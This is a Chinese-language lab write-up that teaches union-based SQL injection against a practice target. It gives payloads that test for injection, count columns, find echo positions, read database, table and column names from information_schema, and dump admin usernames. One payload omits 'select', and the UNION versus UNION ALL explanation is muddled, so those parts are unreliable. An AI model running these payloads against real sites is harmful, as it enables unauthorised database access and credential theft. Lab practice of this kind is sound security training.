猫舍靶场
靶场练习链接:
http://59.63.200.79:8003/?id=1
http://117.167.136.245:10180/?id=1
大体思路:
判断注入点 -》 猜解表名 -》 猜解列名 -》 爆出字段内容
- 判断是否存在SQL注入漏洞
- 判断字段数量
- 根据上步字段数量,联合查询判断回显位
- 查询相关信息,比如数据库,版本等等
实验过程记录:
1:判断是否有SQL注入漏洞:
?id=1 and 1=1
?id=1 and 1=2
2:判断字段数:
?id=1 and 1=1 order by num
普及下 order by 的知识点:
-
ORDER BY 语句用于根据指定的列对结果集进行排序
-
ORDER BY 语句默认按照升序对记录进行排序。
-
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
当用户提供的数据通过数据库的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出数据库错误。
3:判断回显点:
?id=1 and 1=2 union 1,2,3,4,num
根据判断出的字段数联合查询回显位
介绍下union 联合注入,是将两个SQL语句进行联合且列数相同(这就是为甚要判断字段的原因)
当使用联合查询的时候,前面一个语句显示为空的时候,后面语句的内容就显示了出来
union all 与 union 的区别是增加了去重的功能
union all (不去重)
图我就不贴了
查询数据库名:
?id=1 and 1=2 union select 1,database() 换成version() 则是版本信息
联合查询查第一个表名:
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
普及下里面的一些细节问题,如果觉得还不明白,可以在评论处留言:
table_schema 指定数据库
information_schema.tables 这里存放MySQL所有的库表和字段
group_concat(table_name) 可查所有表名 limit 限制查询条数
group_concat函数:
将分组中的值连接成一个字符串(所以要结合GROUP BY 使用),将该字符串返回(主要用于分组显示的),默认以逗号分割,group_concat(table_name separator '-') separator 指定分隔符
concat函数:
将多个字段链接成一个字符串(主要用于连接不同字段的),默认连接字段之间没有分隔符,如果想使用分隔符的话,就使用这个函数CONCAT_WS()
concat_ws(',',name,image)
查字段名:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
重要的是理解原理,语句都是类似的
?id=1 and 1=2 union select 1,username from admin limit 0,1
?id=1 and 1=2 union select 1,username from admin limit 0,1
SQL注入内置函数:
user() 当前数据库用户名
version() 数据库版本信息